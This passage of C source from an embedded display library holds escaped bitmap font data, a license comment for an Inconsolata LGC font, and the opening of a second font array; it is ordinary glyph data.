\"\\0\\0\\0\\0\\0\\0\\0\\2\\6\\17\\7\\3\\3\\3\\3\\3\\3\\3\\3\\7\\17\\377\\376\\374\\360\\0\\0\\0\\0\\340\\360\\370\"\n  \"\\374\\36\\16\\16\\17\\7\\7\\7\\7\\7\\7\\7\\207\\377\\377\\377\\377\\0\\0\\0\\0\\3\\17\\17\\37\\36<\\70\\70\\70\\70\\70\"\n  \"\\34\\34\\16\\17\\7\\77\\77\\77\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\360\\360\\360\\360\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\0\\0\\0\\200\\200\\200\\200\\200\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\36\\7\\3\\3\\3\\3\\3\"\n  \"\\3\\3\\7\\17\\77\\376\\374\\370\\300\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\377\\377\\377\"\n  \"\\77\\0\\0\\0\\0\\77\\77\\77\\7\\17\\16\\34\\30\\70\\70\\70\\70<\\36\\37\\17\\17\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\300\\200\\200\\200\\200\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\200\\360\\370\\374>\\17\\7\\7\\3\\3\\3\\3\\3\\3\\3\\7\\17\\37\\36\\14\\0\\0\\0\\0\\77\\377\\377\"\n  \"\\377\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\7\\17\\17\\36\\34<\\70\\70\"\n  \"\\70\\70\\70<\\34\\36\\17\\16\\4\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\360\\360\\360\\360\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\200\\200\\200\\200\\300\\200\\200\\200\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\300\\370\\374\\376\\37\\17\\7\\3\\3\\3\\3\"\n  \"\\3\\3\\7\\7\\36\\377\\377\\377\\377\\0\\0\\0\\0\\177\\377\\377\\377\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\377\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\0\\1\\7\\17\\37\\37><\\70\\70\\70\\70\\34\\34\\16\\7\\77\\77\\77\\77\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\300\\200\\200\\200\\200\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\300\\360\\374\\376\\237\\217\\207\\203\\203\\203\\203\\203\\203\\203\\207\\217\\377\\376\\370\\340\\0\\0\\0\\0\\177\\377\\377\"\n  \"\\377\\303\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\0\\0\\0\\0\\0\\1\\3\\7\\17\\37\\36<<\\70\\70\"\n  \"\\70\\70\\70<\\34\\36\\17\\6\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\300\\340\\340\\360pppp\\360\\340\\340\\300\\200\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\376\\377\\377\\377\\3\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\1\\0\\0\\0\\7\\7\\7\\7\\7\\377\\377\\377\\377\\7\"\n  \"\\7\\7\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\77\\77\\77\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\300\\200\\200\\200\\0\\0\\0\\0\\200\\200\\200\"\n  \"\\200\\300\\0\\0\\0\\360\\374\\376\\377\\17\\7\\3\\3\\3\\3\\3\\7\\17\\377\\376\\377\\363\\3\\3\\3\\3\\3\\0\\0\\1\\207\\317\"\n  \"\\357~<\\70\\70\\70\\70\\70<\\36\\37\\17\\7\\1\\0\\0\\0\\0\\0\\0\\0\\300\\347\\357\\177>\\34\\34\\34\\34\\34\\34\"\n  \"\\34\\34\\34\\34<\\70\\370\\360\\360\\300\\0\\0\\7\\37\\37\\77<\\70xpppppppx\\70<>\\37\\17\"\n  \"\\7\\1\\0\\0\\0\\0\\360\\360\\360\\360\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\0\\200\\200\\200\\300\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\34\\16\\7\\7\\3\\3\"\n  \"\\3\\3\\3\\7\\17\\377\\377\\374\\360\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\0\\77\\77\\77\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\77\\77\\77\\77\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\360\\360\"\n  \"\\360\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\200\\200\\201\\201\\201\\200\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\3\\3\\3\\3\\3\\3\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\70\\70\\70\\70\\70\\70\\77\\77\"\n  \"\\77\\77\\70\\70\\70\\70\\70\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\360\\360\\360\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\200\\200\\200\\200\\200\\200\\200\\200\\200\\201\\201\\201\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\3\\3\\3\\3\\3\\3\"\n  \"\\3\\3\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\10\\34>\"\n  \"<xxpppxx<>\\37\\17\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\360\\360\\360\\360\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\"\n  \"\\200\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\200\\300\\340\\360x<>\\36\\17\\7\\3\\1\\0\\0\\0\\0\\0\\0\\377\\377\"\n  \"\\377\\377\\36\\17\\7\\7\\17\\77~\\374\\360\\340\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\77\\77\\77\\77\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\1\\7\\17\\37\\77<\\70\\60 \\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0ppppppp\\360\\360\\360\\360\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\70\\70\\70\\70\\70\\70\\70\\77\\77\\77\\77\\70\\70\\70\\70\\70\\70\\70\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\0\\200\\300\\300\\300\\300\\300\\200\\0\\200\\200\\300\\300\\300\\300\\300\"\n  \"\\300\\0\\0\\0\\377\\377\\377\\377\\7\\1\\1\\1\\1\\377\\377\\377\\376\\17\\3\\1\\1\\1\\377\\377\\377\\377\\0\\0\\377\\377\\377\\377\"\n  \"\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\37\\37\\37\\37\\0\\0\\0\\0\\0\\37\\37\\37\"\n  \"\\37\\0\\0\\0\\0\\0\\37\\37\\37\\37\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\"\n  \"\\200\\200\\0\\0\\0\\0\\200\\200\\200\\300\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\34\\16\\7\\7\\3\\3\"\n  \"\\3\\3\\3\\7\\17\\377\\377\\374\\360\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\0\\77\\77\\77\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\77\\77\\77\\77\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\300\\300\\300\\300\\300\\300\\300\\200\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\300\\370\\374\\376\\37\\7\\3\\3\\1\\1\\1\\1\\1\\1\\3\\7\\17\\77\\377\\374\\370\\300\\0\\0\\37\\177\\377\\377\"\n  \"\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\377\\377\\177\\17\\0\\0\\0\\0\\1\\3\\7\\17\\17\\16\\36\\34\\34\\34\"\n  \"\\34\\36\\16\\17\\17\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\"\n  \"\\300\\0\\0\\200\\300\\300\\300\\300\\300\\300\\300\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\16\\3\\3\\1\\1\\1\\1\"\n  \"\\1\\1\\3\\3\\17\\77\\377\\376\\370\\300\\0\\0\\0\\377\\377\\377\\377\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\377\\377\"\n  \"\\177\\17\\0\\0\\0\\377\\377\\377\\377\\3\\7\\16\\16\\34\\34\\34\\34\\36\\36\\17\\17\\7\\3\\1\\0\\0\\0\\0\\0\\77\\77\\77\"\n  \"\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\300\\300\\300\\300\\300\\300\\200\\0\\0\\300\\300\"\n  \"\\300\\300\\0\\0\\0\\340\\370\\376\\377\\37\\7\\3\\1\\1\\1\\1\\1\\1\\1\\3\\7\\16\\377\\377\\377\\377\\0\\0\\0\\37\\377\\377\"\n  \"\\377\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\377\\377\\377\\377\\0\\0\\0\\0\\0\\1\\3\\7\\17\\17\\36\\36\\34\\34\"\n  \"\\34\\34\\16\\16\\7\\3\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\77\\77\"\n  \"\\77\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\"\n  \"\\300\\300\\300\\0\\0\\200\\200\\300\\300\\300\\300\\300\\300\\300\\300\\200\\200\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377>\\17\\7\\3\\3\"\n  \"\\1\\1\\1\\1\\1\\1\\3\\7\\3\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\37\\37\\37\\37\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\200\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0<\\177\\377\\377\\343\\301\\301\\201\\201\\201\\1\\1\\3\\3\\7\\37\\7\\2\\0\\0\\0\\0\\0\\200\\300\"\n  \"\\200\\0\\1\\1\\1\\3\\3\\3\\7\\7\\7\\17\\36\\376\\374\\370\\360\\0\\0\\0\\0\\0\\3\\7\\7\\17\\16\\36\\36\\34\\34\\34\"\n  \"\\34\\34\\36\\16\\17\\17\\7\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\"\n  \"\\200\\200\\200\\200\\376\\377\\377\\217\\200\\200\\200\\200\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\3\\3\\3\\3\\3\\377\\377\\377\\377\\3\"\n  \"\\3\\3\\3\\3\\3\\3\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\17\\37\\37><\\70\\70\\70\\70\\34\\34\\36\\16\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\"\n  \"\\200\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\7\\17\\37\\37><\\70\\70\\70\"\n  \"\\70\\34\\34\\16\\7\\77\\77\\77\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\"\n  \"\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\0\\0\\0\\3\\17\\177\\377\\374\\340\\200\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\340\\370\\377\\77\\7\\0\\0\\0\\0\\0\\0\\0\\1\\17\\77\\377\\376\\360\\300\\0\\200\\360\\374\\177\\37\\7\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\77\\77>\\77\\17\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\200\\200\\200\\0\\7\\377\\377\\374\\200\\0\\0\\0\\0\\300\\374\\376\\376\\370\\300\\0\\0\\0\\0\\300\\377\\377\\37\\0\\0\\0\\37\\377\"\n  \"\\377\\360\\0\\300\\374\\177\\17\\0\\3\\37\\377\\374\\340\\0\\340\\377\\377\\7\\0\\0\\0\\0\\0\\3\\77\\77>\\77\\7\\0\\0\\0\"\n  \"\\0\\0\\1\\17\\77\\77\\77\\77\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\"\n  \"\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\0\\0\\0\\0\\0\\0\\1\\7\\17\\37~\\374\\360\\340\\200\\200\"\n  \"\\340\\360\\370~\\37\\17\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\373\\177\\77\\77\\177\\373\\360\\340\\200\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0 \\60<>\\37\\17\\3\\1\\0\\0\\0\\0\\0\\3\\7\\37\\77<\\70\\60\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\"\n  \"\\200\\200\\0\\0\\0\\1\\7\\77\\377\\376\\360\\300\\0\\0\\0\\0\\0\\0\\0\\0\\340\\374\\377\\77\\17\\1\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\3\\37\\177\\376\\370\\300\\0\\0\\340\\370\\377\\77\\17\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\17\\377\\377\"\n  \"\\377\\77\\17\\1\\0\\0\\0\\0\\0\\0\\0\\0\\70<xpppx\\70<\\37\\17\\7\\1\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\"\n  \"\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\0\\0\\0\\0\\0\\0\\3\\3\\3\\3\\3\\3\\3\\3\\3\\203\"\n  \"\\303\\363\\373\\177\\77\\37\\7\\3\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\374>\\37\\17\\7\\1\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\70<\\77\\77\\77;\\71\\70\\70\\70\\70\\70\\70\\70\\70\\70\\70\\70\\70\\70\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\"\n  \"\\300\\300\\300\\300\\300\\300\\300\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\370\\376\\377\\377\\7\\3\\1\\1\\1\\1\\1\\1\\1\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\377\\377\\177\\17\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\"\n  \"\\7\\17=\\375\\370\\360\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\17\\37\\77~xxpppppp\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\360\\360\\360\\360\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\37\\37\\37\\37\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\200\"\n  \"\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\3\\3\\17\\377\\377\\376\\360\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\37\\177\\377\\377\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\370\\375\\37\\17\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0ppppppxx>\\77\\37\\17\\1\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\"\n  \"\\200\\300\\300\\300\\300\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\\200\\300\\200\\0\\0\\0\\6\\17\\17\\3\\3\\1\\1\\1\\3\\7\\7\"\n  \"\\17\\36\\36\\34\\34\\36\\16\\17\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\";\n/*\n  Fontname: -FreeType-Inconsolata LGC-Medium-R-Normal--44-440-72-72-P-201-ISO10646-1\n  Copyright: Original Roman version created by Raph Levien using his own tools and FontForge. Copyright 2006 Raph Levien. Hellenisation of the Roman font, by Dimosthenis Kaponis, using FontForge. Hellenic glyphs Copyright 2010-2012 Dimosthenis Kaponis. Released under the SIL Open Font License, http://scripts.sil.org/OFL.    Cyrillic glyphs added by MihailJP, using FontForge. Cyrillic glyphs Copyright 2012 MihailJP. Released under the SIL Open Font License, http://scripts.sil.org/OFL.    Some glyphs modified by Greg Omelaenko, using FontForge.\n  Glyphs: 18/658\n  BBX Build Mode: 3\n*/\nconst uint8_t u8x8_font_inr33_3x6_n[3892] U8X8_FONT_SECTION(\"u8x8_font_inr33_3x6_n\") = \n  \" :\\3\\6\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  